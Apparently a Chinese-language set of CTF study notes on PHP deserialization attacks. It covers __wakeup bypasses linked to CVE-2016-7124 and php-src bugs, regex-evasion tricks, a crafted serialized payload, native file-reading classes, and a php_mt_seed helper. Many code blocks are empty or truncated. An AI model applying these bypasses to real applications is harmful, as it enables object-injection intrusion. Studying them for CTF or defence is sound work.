serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。
对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
__wakeup():
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
__toString()
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
绕过正则
在对象前可以添加+
可以绕过正则匹配
php7用+号绕过时会报错无法反序列化,只有php5可以这样
使用大写S+16进制
1 | O:4:"test":1:{s:4:"data";s:4:"bmth";} |
绕过wakeup
这是一个常考的点
1.CVE-2016-7124
影响版本:PHP5 < 5.6.25, PHP7 < 7.0.10
绕过__wakeup
成员属性数目大于实际数目
升级利用(PHP7.4已修复):
https://github.com/php/php-src/issues/8938
在测试中发现在PHP7及以上版本仍然存在__wakeup
bypass。当属性个数大于等于2147483647时,直接绕过Wakeup限制
也可以尝试改为负数
2.bad unserialize string makes __wakeup
ineffective
https://bugs.php.net/bug.php?id=81153
1 |
|
绕过方法:
删除掉序列化数据的最后一个}
或者在最后两个}
中间加上;
1 | Success: |
3.use C:
to bypass __wakeup
https://bugs.php.net/bug.php?id=81151
1 |
|
4.deserialized string contains a variable name with the wrong string length
https://github.com/php/php-src/issues/9618
1 |
|
当反序列化的字符串中包含字符串长度错误的变量名时,反序列化会继续进行,但会在调用 __wakeup
之前调用 __destruct()
函数。这样你就可以绕过 __wakeup()
data=O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:6:"a";s:1:"1";}
影响版本:
- 7.4.x -7.4.30
- 8.0.x
可参考文章:
A new way to bypass __wakeup()
and build POP chain
原生类:
SLP类中存在能够进行文件处理和迭代的类:
类 | 描述 |
---|---|
DirectoryIterator | 遍历目录 |
FilesystemIterator | 遍历目录 |
GlobIterator | 遍历目录,但是不同的点在于它可以通配例如/var/html/www/flag* |
SplFileObject | 读取文件,按行读取,多行需要遍历 |
finfo/finfo_open() | 需要两个参数 |
参考:
PHP 原生类在 CTF 中的利用
任意代码执行下的php原生类利用
参考文章:
浅谈php反序列化的参数类型
从一道CTF练习题浅谈php原生文件操作类
利用 phar 拓展 php 反序列化漏洞攻击面
四个实例递进php反序列化漏洞理解
Session反序列化利用和SoapClient+crlf组合拳进行SSRF
PHP反序列化由浅入深
从CTF中学习PHP反序列化的各种利用方式
反序列化之PHP原生类的利用
POP链学习
php伪随机数
https://www.openwall.com/php_mt_seed/
用脚本将伪随机数转换成php_mt_seed可以识别的数据:
1 | str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' |